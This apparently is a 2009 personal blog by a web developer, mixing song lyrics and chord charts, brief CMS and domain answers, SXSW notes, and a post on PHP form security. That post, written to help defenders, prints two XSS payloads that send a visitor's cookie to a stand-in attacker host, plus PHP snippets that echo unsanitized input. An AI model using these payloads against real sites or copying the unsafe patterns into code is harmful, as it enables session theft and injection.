BLOG: Mitch Wilson, Austin TX Web & Multimedia Developer – Austin, TX

10May/090

You all everybody – Drive Shaft

You all, everybody
You all, everybody
Acting like you're stupid people
Wearing expensive clothes
You all everybody
You all, everybody

[youtube:http://www.youtube.com/watch?v=kuQba4inleQ]

Filed under: Songs No Comments
10May/090

Billie Jean – Michael Jackson

Chords and lyrics

Example video

[youtube:http://www.youtube.com/watch?v=aSALDAQfsSA&feature=related]

Filed under: Songs No Comments
7May/090

Crying – Roy Orbison

This video was embedded using the YouTuber plugin by Roy Tanck. Adobe Flash Player is required to view the video.

D I was all right D For a while
D I could smile D For a while

D But I saw you last night D You held my hand so tight as you
G Stopped to say Gm "Hello" oh you
D Wished me well, you A7 You couldn't tell
A7 That I'd been

D Crying F#m over you
D Crying F#m over you

G When you, so A "So long"
G Left me standing A All alone, alone and

D Crying D Crying
G Crying Gm Crying

D It's hard to understand A7 But the touch of your hand
D Can start me crying

D I thought that I D Was over you
D But it's true, so true

D I love you even more than I did before
G But, darling Gm What can I do?
D For you don't love me
A7 And I'll always be
D Crying F#m over you
D Crying F#m over you

G Yes, now A you're gone and
G From this moment A on
D I'll be crying, D crying
G Crying, Gm crying, yeah
D Crying, Bm crying
G A7Over D you

D A7 D G D

Filed under: Songs No Comments
6May/090

All of me – Frank Sinatra

In the key of G

G All of me, why not take B7 all of me
E7 Can't you see, I'm no good Am7 Without you
B7 Take these lips, I want to Em lose them
A Take these arms, I 'll never D use them D7

G Your goodbye left me with B7 eyes that cry
E7 How could I go on Am7 without you
C You took the Cm7 part that G7 once was my Em7 heart
Am7 So why not, D why not G take all of me? D7

Version 2

In the key of A.

[youtube:http://www.youtube.com/watch?v=0YoUCvOG5Oo]

Filed under: Songs No Comments
30Apr/090

I Will Follow You Into The Dark – Death Cab for Cutie

Love of mine some day you will die
But I'll be close behind
I'll follow you into the dark

No blinding light or tunnels to gates of white
Just our hands clasped so tight
Waiting for the hint of a spark
If Heaven and Hell decide
That they both are satisfied
Illuminate the NOs on their vacancy signs

If there's no one beside you
When your soul embarks
Then I'll follow you into the dark

In Catholic school as vicious as Roman rule
I got my knuckles bruised by a lady in black
And I held my tongue as she told me
"Son fear is the heart of love"
So I never went back

If Heaven and Hell decide
That they both are satisfied
Illuminate the NOs on their vacancy signs

If there's no one beside you
When your soul embarks
Then I'll follow you into the dark

You and me have seen everything to see
From Bangkok to Calgary
And the soles of your shoes are all worn down
The time for sleep is now
It's nothing to cry about
'cause we'll hold each other soon
In the blackest of rooms

If Heaven and Hell decide
That they both are satisfied
Illuminate the No's on their vacancy signs

If there's no one beside you
When your soul embarks
Then I'll follow you into the dark
Then I'll follow you into the dark

[youtube:http://www.youtube.com/watch?v=P8SzxZJ4Rls&feature=related]

Filed under: Songs No Comments
25Apr/090

The Fox In The Snow – Belle and Sebastian

Fox in the snow
Where do you go
To find something you can eat?
Cause the word out on the street
Is you are starving

Don't let yourself grow hungry now
Don't let yourself grow cold
Fox in the snow

Girl in the snow
Where will you go
To find someone that will do?
To tell someone all the truth
Before it kills you

They listen to your crazy laugh
Before you hang a right
And disappear from sight

What do they know anyway?
You'll read it in a book
What do they know anyway?
You'll read it in a book tonight

Boy on the bike
What are you like
As you cycle round the town?
You're going up, you're going down
You're going nowhere

It's not as if they're paying you
It's not as if its fun
At least not anymore

When your legs are black and blue
It's time to take a break
When your legs are black and blue
It's time to take a holiday

Kid in the snow
Way to go
It only happens once a year
It only happens once a lifetime
Make the most of it

Second just to being born
Second to dying too
What else could you do?

Filed under: Songs No Comments
15Apr/090

What is a .mobi site?

A mobi site is supposed to be for mobile device use. But really it's just a new choice for domain names in addition to .com and all the others. So it's up to you on how you choose to the site to work, but it would be following convention to put a site designed for mobile phones at a .mobi domain name.

15Apr/090

What is the difference, in layman’s terms, between Joomla and Drupal?

Big picture, Joomla and Drupal do the same thing. You can login to create and edit pages. They are both open source (free) and use the most common technologies (PHP and MySQL) available at hosting companies.

A close analogy might be automobiles, they both get you there but in different ways, styles, rides, etc. So which CMS you need depends on you and your project. Maybe you need something else? We'll find out. And, yes, you can have multiple systems. For example, a blog in WordPress or TypePad and an e-commerce site with Yahoo! or PayPal or eBay and then Joomla for a corporate site and even Drupal for an internal intranet. These sites could be integrated in some ways, esp through syndication (example: blog posts on blog site get automatically feed to corporate site or vice versa).

You have many flexible choices in picking the right system(s) (Joomla, etc) for the need(s).

Tip: find out which system meets your need best out of the box, and be prepared to accept the limitations as a trade-off and you'll save yourself a lot of money and time.

15Apr/090

HTML, JavaScript and PHP form security

How about a refresher on PHP form security? Follow these simple steps to cover the basics. Then sleep better at night knowing you have improved the World Wide Web. (Seriously, get some good sleep, you need it.)

Know thy enemy

The whole security issue comes from two simple facts:

  • First fact: Certain text characters and series of characters have special meaning in programming.
    Example: A left angle bracket, in HTML context, starts a tag. But in JavaScript, it means less than.
  • Second fact: Web sites implement online forms that let users upload code to run on the server.
    Example: In the comments form, users type text in various text fields. But is the user entering just plain text and allowed tags, or are they entering carefully crafted text containing HTML, JavaScript or some other language meant to run malicious code either on your server or in another user's browser (while visiting your site)?

Malicious client-side HTML and JavaScript

A left angle bracket, in HTML, starts an HTML tag. The series of characters <script> starts a script tag. If you allow a user to submit html tags in your form, you have just opened the door to attack. For example, here is a common type of attack where the attacker posts a malicious link as part of their message or comment to the target Web site. The following example uses HTML and JavaScript entered in the message body. Any cookies you set for that user (who clicks the link) can be read by the attacker. When a user clicks the link, the browser passes the user's cookie information, from the current Web site (yours), as a query string to their PHP file on the attacker's server:

<a href="http://badsite/attacker.php?cookie=<script>document.cookie;</script>">Click here to win</a>

Of course, if you do not filter out or sanitize the data in any way and allow JavaScript code to run, the attacker wouldn't even need the user to click a link. They would just enter a simple block of JavaScript within a <script> tag in their comment:

Hi, great site! <script>location="http://badsite.com/attacker.php?cookie="+document.cookie;</script>

Now we've seen a client-side attack using HTML, JavaScript and PHP. Let's look at a server side attack example, then we'll see how to combat both of them.

Malicious server-side PHP
By adding \r\n in a field that will be used to create an email header for the PHP mail() function, an attacker can write their own email and send it from your Website to whomever they want. Your site's online email form will be used to spam other people. Only these versions of PHP are affected, PHP 4 <= 4.4.6 and PHP 5 <= 5.2.

The local-part of the e-mail address may use any of these ASCII characters:

  • Uppercase and lowercase English letters (a-z, A-Z)
  • Digits 0 through 9
  • Characters ! # $ % & ' * + - / = ? ^ _ ` { | } ~
  • Character . provided that it is not the first nor last character, nor may it appear two or more times consecutively.

 

  1. // copy the value form $_GET to $id

  2. $id = $_GET['id'];

  3. echo "thanks for sending me $id, dude!";

  4.  

  5. // just use the $_GET val directly

  6. echo 'it\'s even more awesome to grab '.$_GET['id'].' directly from input, right?';

 

  1. // escaped, so not a potential SQL injection threat.

  2. $id = mysql_real_escape_string($_GET['id']);

  3. echo "Now I know that $id is totally safe to insert into my database";

  4.  

  5. // cast as int, so

  6. $id = intval($_GET['id']);

  7. echo "$id is most certainly an integer now";

Ninja Webmaster Techniques

  • Encode using htmlentities()
  • Strip suspicious special characters like backslashes and curly braces

HTML and JavaScript InjectionPHP mail() Header Vulnerabilities

  • Cross site scripting (XSS)
    Example: Adding a script tag in a comment on your site to read your user's cookies.
  • Input injection
    Example: Adding malicious PHP code in your form field then submitting to run on your server.
  • Mail header injection
    Example: Adding \r\n in an email form field and then adding custom malicious email headers to send spam from your Website.

Disclaimer

I am not a security professional. I am a Web developer, like you. I presented common best practices. In addition, you should have a professional hosting service or server administrator who knows what they are doing, and you should communicate with them and follow their advice to make sure your Web site is as secure as possible.

Filed under: Geek Out No Comments
15Apr/090

Day 2: SXSW Interactive 2009

Day two, I coverd 5 sessions. That's right. I session jumped the last three all in one hour, 20 minutes each.

Even Faster Websites

Steve Souders wrote the book, "High Performance Web sites" published by O'Reilly in 2007. He is methodical and makes extensive use of yslow and a packet sniffer. Steve demonstrated the performance hit of including inline JavaScript after a link to an external CSS stylesheet. Bascially, the browser will wait for the CSS to finish downloading before proceeding to execute the JavaScript. Other insights included no not using HTML to write script elements. Instead, dynamically add the script element. Doing so avoids inline Javascript that blocks parallel downloading.

First Year as a Freelancer

This was a session I will have to write more on later, since I took so many notes. I'll just say that I was really inspired by this session and made some contacts for possible collaboration later.

Freelance to Agency

A panel discussion with some really smart people nice enough to share their wisdom: Kristina Halvorson (Brain Traffic), Jeffrey Zeldman (Happy Cog, A List Apart, Zeldman.com) , Roger Black and Whitney Hess. If you have't guessed, I'm a full-time freelancer now. So this was a welcome follow up to the previous session about freelancing as well.

Interface Lessons Learned from Games

It's really late and I am going to stop writing very soon. More on this and the rest later.

Filed under: Geek Out No Comments